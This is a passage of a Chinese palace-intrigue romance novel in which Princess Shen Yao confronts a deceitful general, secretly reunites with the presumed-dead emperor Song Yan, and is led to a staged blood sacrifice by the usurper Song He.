南风扭过头,满脸忧心,看着面无表情的宋衍低喊一声:“主上,这定只是流言罢了。” 宋衍将手中茶杯轻轻放回,一瞥他,不咸不淡地说:“与我们有关系?让你打听的事儿如何了?” 南风咽下一口唾沫,正色道:“如今整个太极宫都在剩余北庭军的控制之下,禁军统领并不得宋禾信任,整个禁卫军在长安混得不好。属下已经暗中联系了人,他说自己只是表面叛变,为了迎陛下回来才作出此举。” 南风讽刺一笑,“依我看,这人只是怕死罢了,如今混得不好,看到属下后才觉得又抓住了机会。” 宋衍淡淡道:“他是君子或是小人都没关系,只要有用就够了。” “此次或许又要流血,得保证沈遥安危。” “如今整个长公主府看似守卫松懈,实际上全部都是暗卫包围,怕是难。” 南风想了想,“不过,听说端静公主要被送往和亲,她一气之下离开了公主府,助去了道观中。属下查探过,或许因为宋禾没将端静公主放在眼里,所以那地方看守的人不多。” …… 关于流言一事,沈遥自然知晓了,多日想明白后,她亲自去了一趟宁府。 管事见到她来,很是恭敬又热情地将人迎到偏房。 “殿下先饮茶,稍等片刻,将军还在议事,嘱咐过若是殿下来,定要好生招待。” 沈遥微微一笑,“嗯”了一声,环视着这间偏房。房中装饰淡雅,燃的香也极为清淡,都是她平日的喜好,和长公主府其实很像。 忽然,一个人影出现在门口,沈遥往那处看去时,人影又再度消失,只白色的裙摆一闪而过。 等了两刻钟,宁梓谦出现在了偏房,落座至她对面,眼中满是欣喜。 “诺诺,你来了。” 沈遥颔首,淡淡看了他一眼,问道:“宁将军,不知你可曾听到长安城中的流言?” 宁梓谦袖下的双手攥拳,却又很快放松。 他朝着她笑,“是我放出的。” 沈遥没想到他直接承认了,微微蹙眉。 宁梓谦无奈解释:“诺诺,城中关于你之前不伦的流言愈发严重了,我实在看不下去,才叫人将娶你之事说出去。可是最开始,我只是说咋们有这个谈婚论嫁的意向,还未订婚。可不知怎的,这流言在经过这么多人的口后,竟成了这副模样,此并非我想。” 沈遥叹息,“宁将军,你应该要清楚,流言就是这样。” 两人一时沉默。 沈遥又道:“宁将军之前的提议,我已经考虑过了,我……” “诺诺!”宁梓谦直接打断了她,心底有些慌张,“诺诺,梁国夫人身体愈发不好了,你要不要先去看看她,再做决定。” “姨母身体不好了?”沈遥忽然有些心急,“宋禾能让我见她吗?” “放心。” 既然如此,沈遥也不好现在就拒绝了他。正在此时,一个小厮敲门而入,到宁梓谦耳边嘀咕了些什么,只见他眉间一紧。 他朝她笑笑,“诺诺,稍等我片刻,忽然门客找我,我很快就回来。” 沈遥点头,“你快去吧,正事要紧。” 在人离去后,沈遥又多饮了两杯茶,心底想着梁国夫人,总是隐隐不安。 她起身往偏房门外走去,站在门口的婢女一怔。 沈遥有些不好意思道:“请问茅房在何处?” 婢女给她指了方向,却没亲自带路,沈遥便自己去寻。 庭院中弯弯绕绕,沈遥竟迷了路。 她想了想,还是原路返回,让婢女带路,正走时,忽然听到庭院中传来争吵之声,还伴随着女子的哭泣。 “你真的要娶她?” “岁岁,别闹了。” 沈遥蹙眉,听出来是宁梓谦。 她轻手轻脚走上前,躲在假山后探头,便看见了宁梓谦冰冷的双眸。 她从未见过他这副模样。 而站在宁梓谦面前的白衣女子,沈遥猜到 是他的夫人,白岁岁。 她哭到满脸泪痕,死抓着宁梓谦的衣袖不肯放手,“夫君,你问都不过问我一声,就要把别的女人娶进家,你眼里究竟有没有过我这个妻子!若不是我得知了流言,否则我到现在都还被蒙在鼓里。” 宁梓谦语气带着不耐烦,“够了!你也知是流言。” “真的……是流言吗?所以你不会娶她?” 宁梓谦沉默地看着她良久,终于道:“没错,不是流言。” 白岁岁带着期待的眼神忽然黯淡下去。 假山后的沈遥蹙眉,她记得宁梓谦曾经告诉她,他已经和自己夫人说过,他的夫人还很期待。 所以这一切都是他在撒谎? 宁梓谦道:“我要娶她,你一直都知道,诺诺才是我一生所爱,我们新婚第一夜时,我就告诉过你了,一直都是你一厢情愿。” 白岁岁摇头后退了两步,“我们这么多年,还有两个孩子,你都没有感情吗?夫君,我肚子里可还有你的第三个孩子啊。” 宁梓谦一瞥她小腹,道:“若非有孩子,长公主那么尊贵的身份,我怎会勉为其难让她做平妻。” “什么?”白岁岁不可置信地瞪大了眼睛,“若没有孩子,你竟然还想让我从妻位退至妾吗?还是说你原是想休了我?” 宁梓谦似乎也觉得说不过去了,便道:“我自然不会休了你,我原想着若能与你和离,不管你要什么补偿,钱财也好,就算你想将孩子都带走,我都依你。” 白岁岁更崩溃了,“夫君,你竟然魔怔到连自己孩子都不想要了!那个贱女人究竟给你灌了什么迷魂汤!这么多年,我又算什么!” 宁梓谦听不得她这么骂沈遥,瞬间大怒起来,盯着她勾了下唇,“你想知道你算什么?呵,好,那我告诉你,你听清楚了!” “每次同房我都要熄灯,就是因为看着你的脸,我一点反应都没有,我只能把你想象成她,我才做得下去。” “孩子?我是很爱我的孩子,但可惜,孩子的母亲不是她。” 气氛忽然凝滞下来。 白岁岁一言不发地看着他,原来数年来所有的温柔都是假的。她还记得洞房花烛夜时,她疼得要撕裂了一般,他温柔地停在一点点安抚,一点点轻吻,在她耳边低语,“别怕”。 就是那一声“别怕”,让她彻底爱上了这个男人。 原来这些都是假的,都是他将她当成了另一个女人。 白岁岁忽然不哭了,静静地看着他讽刺一笑,如今真正看清了他的感情,才明白过去这些年的她究竟多么愚蠢。 她目光忽然一转,越过宁梓谦肩膀,和假山旁的沈遥对上了视线。 “让殿下见笑了。” 说完,白岁岁便捂着小腹转身离开了庭院。 宁梓谦浑身僵硬,一点点转过身子,终于看到了沈遥的身影。 他说不出话,只能扯了扯嘴角,“诺诺,你……你怎么会在这里?” 沈遥默默看着他。 原本满是善良,单纯,与正义的那个少年顷刻间似乎灰飞烟灭。 站在她面前的,是一个骗子,欺骗了自己的妻子,利用了自己的妻子,无情无义的骗子。 难怪,他当初毅然决然北上,是早就想好帮助宋禾夺位了。 “这个问题重要吗?”沈遥看着白岁岁消失的方向,“那个女人,是你的妻子,她为你孕育三个孩子,在你心里却什么都不是吗?” 宁梓谦嘴微张,手指颤抖,很快又突然笑了,“诺诺,我做这一切都是为了你啊。” “为了我?”沈遥觉得万分可笑。 宁梓谦道:“五年前的时局你知道的,宋衍将你从我身边夺走,可我却没有能力与之抗衡。我与宋禾合作,是为了宁家的仇恨没错,可更是为了……为了有一日攻回长安,重新将你从宋衍手中夺回……” “啪”一声巨响,沈遥狠扇了他一巴掌,打断了他的话语。 “别拿我作你利用伤害自己妻子的借口。宁梓谦,如今的你实在让人不耻!” 宁梓谦脸被扇得侧了过去,久久不动弹。 时至今日,他依然没有觉得自己有何错,错的是上天,是那个将沈遥夺走的卑鄙小人! 他愣愣转回头,“诺诺被她的疯话影响了,回府里静一静吧,两日后的宫宴,我安排你入宫去见梁国夫人。” 说完,他挥了挥手,冒出几个侍卫,并安排人将长公主送回去。 沈遥当然一刻都不想留在宁府,只是当回到长公主府后,才发现宁梓谦调遣了重兵,将整个府邸重重包围。 她没有任何表现与挣扎,只是讽刺一笑。 曾经说要带她逃出囚笼的人,在获得权力后,成为了囚禁她的那个人。 …… 宋禾似乎是一个极为节俭的君主,在登基后除了简单又朴素的登基大典,一直到了这日,才办了一场朝贺宴。 他在民间的民声分化成极端的两派,一派人觉得他是一个好君主,对任何犯罪行为都用重刑,甚至越来越多人加入白鹤,企图洗清过往罪孽。 另一派人觉得任何事情过犹不及,如此风声鹤唳,只会产生更多冤假错案,并且他白鹤的祭祀仪式,实在血腥,毫无人性可言。 梁国夫人被安置在太极宫一处偏殿中,同样重兵防守。 沈遥一见到躺在床上的韩秀华,眼睛就不受控制地红了起来,“姨母!” 韩秀华睁开眼,坐起身,看起来有气无力。 沈遥帮着她,将几个软枕垫到她身后。 “姨母,对不起,是我没用,竟什么都做不了。”沈遥声音很低,头也耷拉着。 韩秀华笑笑,拉住她的手,“别说这么丧气的话,你已经尽力了,至少七成北庭军回了边境。而且我也只是染了风寒,不是什么大病,太医看过,说是吃几副药,很快会好。” 沈遥摇了摇头,“那又有什么用呢?如今,连小衍都……” 韩秀华长叹一声,“长安城的流言都传到宫里来了,你和他的事儿我都知道,是真的,还是假的?” 沈遥抬头,却说不出话,只定定看着她。 韩秀华虽然没得到答案,却也猜到了。 “你喜欢他吗?” 沈遥定定看着她,沉默许久,最后道:“我不知道。” “不知道?”韩秀华挑眉。 沈遥垂眸,“我只是始终不相信他会就这样死了,这些时日,我一直在等他的消息,可随着时间流逝,我也越来越看不清,究竟是我的一厢情愿,还是……” “我觉得他不会死,但当初听到死讯的那一瞬间,我感觉我好像也死了。” 韩秀华叹息,“这不是喜欢是什么?” 沈遥不解,“可是……我一直将他当成我的阿弟。” 韩秀华反问:“那过去那不想见的五年,你也将他当成阿弟吗?再度回到长安后,你眼中的他,还是曾经那个小阿弟吗?” 沈遥没有说话,最后只是轻轻摇头。 韩秀华笑了一下,没再多说什么。 沈遥蹙眉道:“可是姨母,我总觉得那样不对,否则长安又怎么会有这样的流言。” 韩秀华道:“诺诺,你要知道,沈家当初只是一五品官家,却一跃而上皇室宗亲。这样一份天大殊荣,是个人都会嫉妒。世人活得很辛苦,便更是喜欢用对他人发生的事旁加道德指责。” “诺诺,人心是管不住的,没有这则流言,也会有别的。你要做的,只是过好自己的生活,走自己想走的路,你和他又没有血缘,想在一起就在一起,何必在意世人所思所想?” 沈遥抿唇,低着头思索。 韩秀华笑道:“况且,你已经做的很好了。是过去五年你为自己所积攒下来的功绩与名声,在宋禾的诡计下保住了你。因为你的功绩,世人说再多也无法磨灭,那是实打实放在手心的。那些功绩给予了你真正的尊贵,所以宋禾如今才无法对你下手。” “不然怎么送去和亲的人是绵绵,不是你呢?” “姨母。”沈遥靠到她的肩上,感受着这段时日前所未有的平静,“可要是他回不来了呢?” 要是他真的死了呢? “你觉得他回不来了吗?” 沈遥笑出了声,摇头道:“他会回来的。” “那不就好了,你遵从自己的内心,做任何你该做的事。至于姨母这边你不用担心,还有你姨丈在呢,你可不要小看一个掌管着偌大河西的将军。” …… 一番交谈后,沈遥觉得心底畅快了许多。 离开偏殿回到太极宫的晚宴时,里面正有大臣在歌功颂德,阿谀献媚。 沈遥回到自己的原本的座位,就看到沈芯端了酒上前。 她好像喝醉了,脸有些红,“阿姐,今日是好日子,不与小妹干一杯吗?很快,就要见不到我了,我就要嫁到那种偏远蛮荒之地了。” 沈遥看着她打了个酒,“你身体不好还喝酒。” “阿姐,喝一杯嘛,今日心情好 。“沈芯笑着,声音吞吞吐吐,摇摇晃晃将沈遥案上的酒杯拿起,想要塞到她手中。 “你喝醉了。” “没有。” 沈芯摇摇晃晃,忽然一个趔趄,竟倒在面前的食案上,打翻了酒,将两人衣服都弄湿。 沈遥吓一跳,立刻起身,将她扶起来,沈芯的婢女上前帮着忙,见上座宋禾视线看过来后,才满是害怕道:“陛下恕罪!端静殿下吃多了酒,不是故意扰乱宫宴的。” 沈遥抓着她手臂,看了一眼身前的酒渍,朝着宋禾道:“我们去换身衣服。” 宋禾眉头皱了起来,挥了下手没说话。 见状,婢女和沈遥扶着沈芯走出了太极殿。 婢女带着路,将她们送到一处暖阁后迅速翻找出衣裳。 谁知道沈芯忽然酒醒了一般,直起身子将其中一套衣裳接过。 “你刚才装醉?” 沈芯撇撇嘴,红了脸,最后留下一句“我都是为了自己”,而后便带着婢女离开了那处暖阁。 在门关上后,倏然间,沈遥感到一股化为实质的视线落到她背上,让她烫得不行。紧接着,听到身后传来一阵熟悉的脚步声,她转身看到烛光下的人,一眼就认了出来。 她心中一动,冲上前抓住他的手臂。 “宋衍!” 第68章 第68章怎么连你也要…… 宋衍先是怔了一瞬,立刻反手拉住她,将人抱到怀中。他慢慢收紧自己的手,头埋在她的颈肩深深嗅闻。 上一次做这样的事儿是五年多前,接近六年,准确的说是一千九百二十三日。 甚至不敢想象,沈遥竟主动扑来,被抱住也没挣扎。 她还是这么瘦,骨架这么小,身上的气息让他想要将她吞食。可是现在的他学会了隐忍,不会轻易再在她面前表现出这股占有破坏的欲望。 宋衍抱了她很久,不愿松手,直到沈遥有些喘不过气,再试探地推了一下。 他没有犹豫便将她放开,脸上仍是原本那副无欲无求的模样,可原本漆黑的眸子却很亮。 沈遥刚跟姨母聊完,就重新见到了他,总感觉怪怪的,心里痒的不行。他不说话,可他的视线还是依然同糖浆一样滚烫。 片刻后,沈遥主动小声开口:“你怎么来了?究竟发生了什么?你什么时候回来的?” 他来不及回答,只是笑了一下,将她鬓间的发丝捋了捋,挑着回她,“之前大军被叛军联合匈奴围剿,我运气好,只是受了些伤,不过很快就养好了,在与南风取得联络后,就开始计划反攻。” 沈遥心惊,“受伤?很严重吗?” 毕竟都全军覆没了。 宋衍摇摇头,“小伤,很快就好了。” “我今日来,是带你走的。” “走?走去哪儿?” 宋衍声音还是这般温柔,“如今整个长安都在宋禾的掌控之下,要夺回控制权,恐怕会有流血。这里已经不安全了,我带你去安全的地方。” 沈遥没有第一时间回复,转身看了一眼暖阁的门口,又说:“你就这样贸然出现太极宫,不会很危险吗?” 宋衍看着她贼头贼脑,心脏像是化成了水,“我自是有方法不叫人发现。” 沈遥凝视着他瘦了许多的脸颊,无奈:“也是,想当初,你能不动声色的躲在我床底下,又暗中监视我,这么看来,你是有暗卫功夫在身上的。” 宋衍摸了下鼻子,不禁莞尔,“可我后来很尊重你。” 沈遥低下头偷偷扬了下唇角。 宋衍快速与她解释:“我已经暗中联系了河西节度使,幽州节度使,一部分兵力往云中城去,还有一部分往长安来。再加上禁军首领里应外合,此番定能一举将宋禾击杀。” “这宫内有密道,是我曾经秘密修建的,宋禾并不知晓。” 听到他计划,沈遥松了口气,却道:“可是宋禾这厮狡诈,他并没有轻易相信禁军,他最相信的还是宁梓谦,或许此番我更应留下来。” 宋衍没说话,手指轻轻摩挲着,忽然笑起来,“哦对,想起来了,你要和宁梓谦结亲。” 沈遥没时间解释那么多,只道:“那都是流言,驻扎长安的北庭军先下大部分都在宁梓谦手中,我们至少得想些办法,从他入手。这样,是否能减少长安城的百姓伤亡,毕竟百姓无辜。” 宋衍没什么情绪,“百姓在你心里位置很高。” “那是自然。”沈遥觉得他的话有些怪怪的,却也没多想,“不如你把姨母先带走,这样宋禾也无法牵制姨丈,或许对你会更有助力。” 宋衍:“唔,姨母是你最重要的。姨母,百姓,应该还有宁梓谦……” 沈遥:“你在说什么?” 宋衍:“没什么。你真的不跟我走?” 沈遥颔首,目光坚定,“宋衍,我不想当懦夫,让我帮助你。” 宋衍沉默。 沈遥见他还是如此固执,她眼珠子一转,踮起脚尖在他的侧脸飞快留下一个蜻蜓点水的吻。 在她弄清楚自己的心后,她觉得也没什么好矜持的了。 宋衍一时没反应过来,低着头看着她,一动不动。 沈遥安抚道:“好了,既然有密道,你能安全地先带姨母离开吗?” 宋衍:“……” 沈遥轻轻拍了拍他前胸,“小衍,乖。可以带姨母离开吗?” 宋衍终于回神,干巴巴地点了点头,“好。” 等沈遥离开暖阁时,准备和沈芯一起回宴会。 沈芯一个劲儿往她身后去看,“你不走?” 沈遥瞥她一眼,“不走。你不走吗?” 沈芯长叹一声,“不走了,或许,和亲也没有那么坏。” “怎么说?” “离开长安,会很安全。阿姐为大周做了这么多事,我身为公主,怎能鸵鸟一般躲在人后。” 沈芯笑笑,“和亲乃是为了修复两国邦交,护佑边境百姓的安稳。阿姐,说实话,我到现在还很嫉妒你。你用过去的五年,做出了那样伟大的功绩,史书上定会留下你的一笔。” “之前我错了,我错在与你竞争的方式上。这一次,我要用利于大周和百姓的方式,重新和你竞争。我也要在史书上留下光辉的一笔。百年千年后,人们读史,可以记住一个护佑过两国安稳太平的女人。” 沈遥久久不语,有些震惊地看着她。 “你怎么……突然就这样想了?” 沈芯道:“因为我发现以前那些个方法都比不过,打心底里,我就是要压阿姐一头,那不如接受和亲好了,这只是第一步,太平的每一步,还需要更多努力。这个盛世,会有我的一份功劳。” 沈遥止不住地笑,一把勾过她肩膀,揉揉她的头,“绵绵终于长大了啊。” “嗯。”沈芯身子僵硬,脸红起来。 “虽说是为了安定,可是绵绵,你是我们大周朝公主,大周不会容忍外邦欺负。若受了委屈,递信回来,就算是出兵,就算是灭了他们,阿姐也同样要护你周全。” “阿姐……对不起。” “够了啊,这句话之前就说过,不许再说了。” “……好。” …… 或许是宋衍回来的原因,沈遥整个人的心情都放松下来。 是夜,她沐浴过后,换了一身 清凉又干爽的寝衣走出净室。 正在此时,突然“砰”一声,寝室的门直接被人踹开,一股狂风灌入。 锦书“啊——”一声尖叫,很快便被侍卫所控制。 沈遥来不及穿外衫,只能穿着寝衣站在原地,深呼吸一口气,压下心底恐慌,平静地面对冲进府中的宋禾。 “你怎么来了?” 净室的水汽还在往外萦绕,宋禾毒舌般阴冷的视线落在她被发丝打湿的肩头,一抹寒光闪过,浑身上下将她扫视一番,似乎那轻薄的寝衣被剥了个干净。 明明天气暖了,可沈遥却感到异常寒冷,那股冷意来自宋禾的视线。 她故作淡定地转身,取过一件披风披上,将自己遮严实,这又才转身重新对上宋禾视线。 宋禾对此没有阻止,只是依旧阴鸷地盯着她的每一寸。 沈遥心跳如擂,声音却很淡,“擅自闯入女子内室,宋禾,你不是最看重你君子的名声吗?” 宋禾低下头哂笑一声,握住腰间剑柄,问她:“宋衍去找你了?” 沈遥一时反应过来,定是姨母失踪,宋禾怀疑到了她的身上,毕竟她宫宴前才见过姨母,没人知道她们在偏殿中究竟说了什么。 可她又有何能力,从重兵包围的太极宫,将人不动声色带走,而同时,她也回到了宴会之上。 所有可能排除后,只剩下一个可能,便是宋衍。 因为宋禾是最清楚宋衍没死的人,他定然已经在大周境内找人找疯了。 他为了隐藏此次矫诏的阴谋,便不敢光明正大地找,只能派人暗中去寻。可大周江山辽阔,这么大的地方,不用海捕文书,如何能将人找到。 沈遥忽然明白一件事,宋禾送沈芯去和亲,而不是她的原因,除了沈遥身上自带的功绩和声望,还有一个,便是宋衍还活着。 他需要将她抓在手中,如同姨母一般,牵制宋衍。 但此刻的宋禾定然还不能确定,她是否真的见过宋衍。 此番恼羞成怒,为了吓唬她一跳,无论是她,还是身边的婢女,在紧张的环境下很难隐藏关于宋衍的线索。 想明白这些,沈遥尽可能压下自己乱跳的心,露出一副吃惊又惊喜的表情,“你说什么?宋衍还活着?” 宋禾眯着眼睛,在她脸上梭巡,却没找到额外的蛛丝马迹。 “没错,他还活着,这对你可是个好消息。” “那是自然。”沈遥挑眉勾唇,“我就盼着他将你阴谋戳破,拉下龙椅。” 宋禾觉得她有这反应很正常,毕竟她厌恶极了他。 他道:“沈遥,别忘了,韩秀华在我手中。” 沈遥心头一颤,一股凉意涌上颅顶,却又很快镇定下来。 姨母一定被带走了,否则宋衍不会轻易离开太极宫,宋禾更不会是这副反应。 她咬牙,狠狠瞪着他,“你在威胁我?” 宋禾承认:“是,我是在威胁你。” “你想让我帮你?宋禾,我长公主府几百个亲卫,如何帮你?你也太高看我了。” 沈遥想了想,又道:“但是宋禾,若是你能放了姨母,我便作你的鱼饵,把宋衍给引出来。” “哦?你不怕他会死吗?”宋禾挑眉,似乎没那么容易相信。 沈遥道:“宋禾,我与他五年不见,曾经关系又如此交恶,否则当年你也不会帮助宁梓谦助我逃跑不是?” “那你刚才听到宋衍还活着的反应,怎这么开心?” 沈遥苦笑,“五年不见,我不得不承认,我对宋衍的恨意已经淡了。他在眼中只是大周的皇帝。可你觉得,相比起来,他和你,我更厌恶谁?” “不过姨母既然在你手里,我便不会放下姨母不管。她与我流着相同的血液,沈家落败,也是她收留的我。你觉得一个五年不见的人,如何比得过我的姨母呢?” 宋禾颔首,觉得她说得其实有道理。 沈遥趁热打铁,“不管你要如何引诱他出现,只要你能放过姨母,让我做什么都可以。” 宋禾笑了一下,看向身旁的侍卫,侍卫收到他的视线后,将锦书放开,跟随着他的身影又是一窝蜂涌出沈遥的寝室。 在再也不见其身影后,沈遥才终于浑身松懈下来,锦书眼疾手快将她扶住。 “殿下,你还好吗?”她往沈遥身上一摸,“殿下,你出了好多汗。” “是啊,重新沐浴吧。”沈遥喘息着,到了此刻才敢开始发抖。 她刚才明明确确地感受到了宋禾的杀意,若被看出她见过宋衍,而姨母失踪也与她有关,她定会成为宋禾的剑下亡魂。 这个人的怒气太强烈了,他刚才失去了理智,若非她提出作鱼饵,他真的会杀了她。 这夜和宋禾的对峙,确实给沈遥吓魔怔了。 连续好几日,她都夜不能寐,直到五日后,回鹘使臣和迎亲队伍便要将端静公主迎走。 沈遥亲自去了城门口送别。 沈芯这次是真正的想通,一滴眼泪也没有掉,只是用小盒装了一抨黄土,朝着沈遥笑笑后便上了马车中。 那日是大吉,天气也正好。 …… 太极宫中,宁梓谦不顾一切冲入,直奔太极殿,被侍卫拦下。 “宁将军,就算是您,觐见陛下也不得携带利刃。” 宁梓谦停住,满头是汗,瞅那侍卫一眼,最后取下腰间配件递去。 踏入殿中,便见到龙椅上的宋禾,仍是一副平淡的表情,戴着半张金面具。 “爱卿今日这么着急觐见,所为何事?” 宁梓谦怒道:“听说,你要拿沈遥作血鬼祭祀?” 宋禾没有说话。 宁梓谦不可置信道:“你当初答应过我,不会伤害沈遥一根汗毛。而前几夜的晚上,你还直接闯了长公主府!” 宋禾无奈一声叹息,最后起身,一步步走下御阶,站定宁梓谦面前与他平视。 “梓谦啊,那夜也是因为梁国夫人不见了,而唯一能带走梁国夫人的,只有宋衍。” 宁梓谦一怔,“宋衍出现了?” 宋禾笑笑,“应该吧。” 宁梓谦低着头想了很久,又终于抬头道:“那这与沈遥何干?你凭什么拿她去作祭祀?” 宋禾道:“梓谦,那只是用来将宋衍引出的鱼饵罢了,只要他出现,朕便不会杀了沈遥。” 宁梓谦眼皮跳了一下,言外之意,若是宋衍不出现,他就要杀了沈遥,真正的用来祭祀血鬼。 宋禾见他沉默,又道:“听说你最近和白家女儿闹了不小的矛盾?” 宁梓谦深呼吸,“我想和离,我不喜欢她。” 宋禾面具下的神情有些抽搐,对这个满脑子只有情爱的人着实语塞。 “梓谦,白家现在还在北庭节度使帐下,如今江山还不稳定,你不能意气用事啊,得好好哄着。” 宁梓谦道:“我从来没喜欢过白岁岁,婚后这么多年,每日每夜对我来说都是折磨,我喜欢只有一人,你知道的。” 宋禾简直要被他气死了。 最后他上前一步,在宁梓谦耳边低语:“你就再听朕这最后一次,稍微忍几天,等抓住宋衍后,我便下旨赐婚沈遥给你,就算她不愿嫁,那也得嫁。” “至于白岁岁,在赐婚前找个什么借口,让人病死不就好了。” 宁梓谦慢慢睁大了双眼,“可是岁岁腹中怀了我的孩子。” 宋禾讽刺一笑,“那又如何?天下女人多了去了,你想要孩子,除了沈遥,朕可以给你网罗十几个美人给你生孩子。小不忍则乱大谋,先应承着,知道了么?” 宁梓谦僵在原地许久,最后默默点了点头。 离开太极宫后,他独自去了酒馆喝了几杯烈酒。 如今年岁渐长,他酒量比年少时好了很多。 此刻回想过去那些年,最单纯,最幸福的,好像也是在凉州时。为何越是接近权力中心,越是痛苦了? 自那日争吵后,白岁岁没再主动朝他示好过,甚至主动递出了和离书。 那份他想要了很久的和离书。 这些他都没有和宋禾提过一句,也没有在和离书上签字,至今还放在书 房中。 说不清怎么了,好像从那一刻起,他就在逃避些什么。 而今日宋禾的话让他震惊,宋禾竟然怂恿他杀妻。 还是一个为他孕育了三个孩子的妻子。 虽然他不爱白岁岁,可他实在做不出这样没有人性的事情。 还有诺诺,若是宋衍不出现,宋禾真的要杀了诺诺,那又该怎么办? 为什么如今手握兵权,他还是没能保护自己想保护的人? 宁梓谦仰头望向天空。 明明白日天气还很好,此刻竟然又是阴云密布,看着是快要下雨的样子。 宁梓谦站起身,摇摇晃晃地往永宁长公主府而去。 如今整个府邸都被他的人包围,他想要入府,没人会阻止。 府中侍女见到他后,战战兢兢地低着头,将人引到花厅就坐。 没等多久,沈遥便出现在花厅,平静地看着喝了酒的人,低着头坐在藤椅上。 沈遥将手中解酒汤放到他手边,“你喝醉了。” 宁梓谦抬起头,看着她,声音很低沉,“诺诺,对不起。” 沈遥讽笑,“怎么连你也要说对不起?人人都欠了我吗?” 宁梓谦那笑得比哭还难看,“诺诺,你曾经和我说过宋禾是个什么样的人,可我被仇恨冲昏了头,一意孤行。明知道自己不喜欢岁岁,还娶了她,还与她生了孩子。” “那你说对不起的人,不应该是我。是你的妻子,是因这场战乱而被连累的无辜百姓。” “你说的对。”宁梓谦浑身都在摇晃着,点了点头,“你要怎么才会原谅我呢?” 沈遥当着他的面从怀中掏出一包粉状的药物,将其倒入那碗醒酒汤中,看着药粉尽数消散。 “喝了它。” “毒药吗?”宁梓谦低头看去,“喝了它,你就能原谅我吗?岁岁就能原谅我吗?” “我不知道,但你知道的,我现在恨极了你。” 宁梓谦点头,“是啊,五年过去,一切都变了,我好像找不回自己了。我好像从带你出逃的那个人,变成了掌控者。所有一切,都是我应得的。” 他将那碗醒酒汤抬起,最后看了一眼沈遥,“诺诺,我死后,若有能力,你可能帮我照顾上岁岁几分。” 沈遥沉默,没有看他丝毫,只是将视线落在花厅的繁花之上。 宁梓谦也不再说什么,抱着那碗醒酒汤一饮而尽。 空碗落在地上碎裂开来,他眼前愈发模糊,最后看着沈遥,彻底陷入一片昏暗。 在永无止尽的黑暗过后,耳边传来雨水的声响,滴答滴答,实在寒冷。 宁梓谦睁开眼,头疼欲裂,按着额头起身,这才发现自己竟然还活着。 沈遥没有杀他。 “醒了?” 宁梓谦侧脸看去,沈遥坐在不远处的案前,点燃沉香。这间似乎是长公主府的一间偏房。 他至此还不敢相信,“诺诺,你……原谅我了?” 沈遥声音平淡,“我原不原谅你不重要。宁梓谦,那些话拿回去,对着你妻子说,亲自乞求她的原谅。不管她是要留下也好,还是离开也罢,你身为男子,身为顶梁柱,就应该尊重她。” “她是人,不是你可以随意利用的工具。” 宁梓谦默默地定了许久,扭头往窗外的雨丝望去。 “好。” …… 宋禾所选择祭祀的那日没有一丝太阳,整个天都被乌云所遮掩。 他将此次祭台设在太极殿下方,集合了所有的朝臣,密密麻麻却又整齐地排列下方。 许多人都听过白鹤的祭祀,像他们这些读过书的人其实并不相信白鹤所传扬的那一套理念。 相比起这种血腥的信仰,他们更相信佛,或是道。 更匪夷所思的是,以如此尊贵的长公主来祭祀,宋禾究竟在想什么? 沈遥这日换上了一身白衣,头发披散下来,殿内燃着清心静气的淡香,宫里的嬷嬷为沈遥梳头。 正准备为她挽发时,沈遥面无表情递去一支梨花玉簪,“用这个。” “这……”嬷嬷一时没反应过来。 “宋禾从未在这上面有过多要求,不是吗?本宫的命令,你不听吗?” 沈遥声音很沉,不知为何,嬷嬷竟吓得不行,从她手中抽去那支簪子,为沈遥简单挽上一半的发,剩下的头发垂下至腰间。 天色逐渐暗淡下来,殿门被敲响,“殿下,吉时已到。”【魔蝎小说 mo xie xs .c om】 【完结】 第69章 第69章给……诺诺…… 今夜的风格外大,沈遥一踏出殿门,头发丝便扬空飞起。她抬头望了一眼天空,发现不知何时,乌云开始渐渐消散,晚霞的黄光打在她的面颊上。 跟随着几个宫女,一路走到太极殿下时,宋禾早已牵着皇后崔若的手等在此地。 见到沈遥配合,宋禾面上露出满意神情。他独自一人走下月台,站到沈遥面前,道:“你说,今夜宋衍会从何处出现?承天门?还是玄武门?” 沈遥不耐烦蹙眉,“无论从何处出现,你都早已设下了埋伏,不是吗?” 她转头往四周观望,整个宫中看起来守卫并不森严,一如既往。可在墙角处,城墙上,却能感受到有埋伏的气息。 “或许,你这次还是太高看我,若是宋衍不在乎我性命,不出现呢?”沈遥一边说话,一边窥视着四周。 宋禾低着头摇摇头,“那就很遗憾了,说明你在他心里的分量,还不如拿来牵制河西节度使的韩秀华重要。” “不过也是,世人皆利己,哪儿有什么无私的爱,无私的奉献。朕记得,府中这么多的姨娘,父王却子嗣单薄到只有两个儿子。” “母妃教导极为严厉,朕自小便没有与同龄人玩耍的机会,就算戒尺将手都抽肿了,她也不会露出一丝心疼。或许这算是一种严厉吧,可直后来才知,朕不过是她拿来争宠的工具罢了。每次为了见父亡,她都要利用一番朕。包括整个王府,那些胎死腹中的姨娘,其实都是母妃一手促成。” “唯一的例外是宋衍,本以为时姨娘会在生产时一尸两命,却没想道宋衍活了下来。” 沈遥听完这些无动于衷,反而笑了一下。 宋禾:“你笑什么?” 沈遥面露可惜,“你一直以为宋衍是那个什么都得不到的人,今天听你这一说,才方知,你才是那个付出一切,什么都没得到的人。” 宋禾眯起眼。 沈遥继续说:“虽然你母妃不爱宋衍也不爱你,可是宋衍的小娘爱他,为了平安生下他拼上了自己的性命。再后来,他有新的家庭,我的父亲虽忙碌,却也还是爱他的,否则怎又突然大发慈悲赌上性命将他藏在沈家。” “还有我。” 沈遥越过宋禾的肩膀,看向站在高台上的崔若,“你的妻子爱你吗?” “沈遥。”宋禾呼吸沉重了几分,“那今日便看看,他究竟会不会来救你。” 宋禾挥袖,沉着脸走上御阶落座,一句话也不想说。 当他对上崔若的视线时,敏锐地察觉到了她眼中的一丝嫌弃。 也是,这个女人,包括北庭节度使想要的都只是权力罢了,他面具下的丑陋实则让她如此恶心。 眼见着崔若隐藏下那份嫌弃,换上一副面孔,宋禾心情更不好了。 落座后,宋禾往身旁的内侍扫去一眼,内侍立 刻两步上前,高声唱和:“近岁以来,四方多有水患,天降灾异,实为上苍责我先帝之失。白鹤神灵有言,唯设极盛之血鬼大祭,方可感格天听,求得宽宥。幸我大周永乐长公主,贵重非常,甘自奉献,以承此重任。此功此德,天地所鉴,亿兆所铭。” 下面的朝臣听闻后面面相觑,这么说来,是长公主殿下主动献身,为了平定之前频发的水患。 虽说匪夷所思,可他们也无人敢此时上前提出异议。 沈遥一步步走上祭台,在那内侍又唱和几声后,便另有人拿着一柄弯刀上前。 “殿下,请。” 沈遥抬头看了一眼高高在上,满脸笑意的宋禾,伸出手腕,泛着银光的刀即将碰触到她的肌肤上。 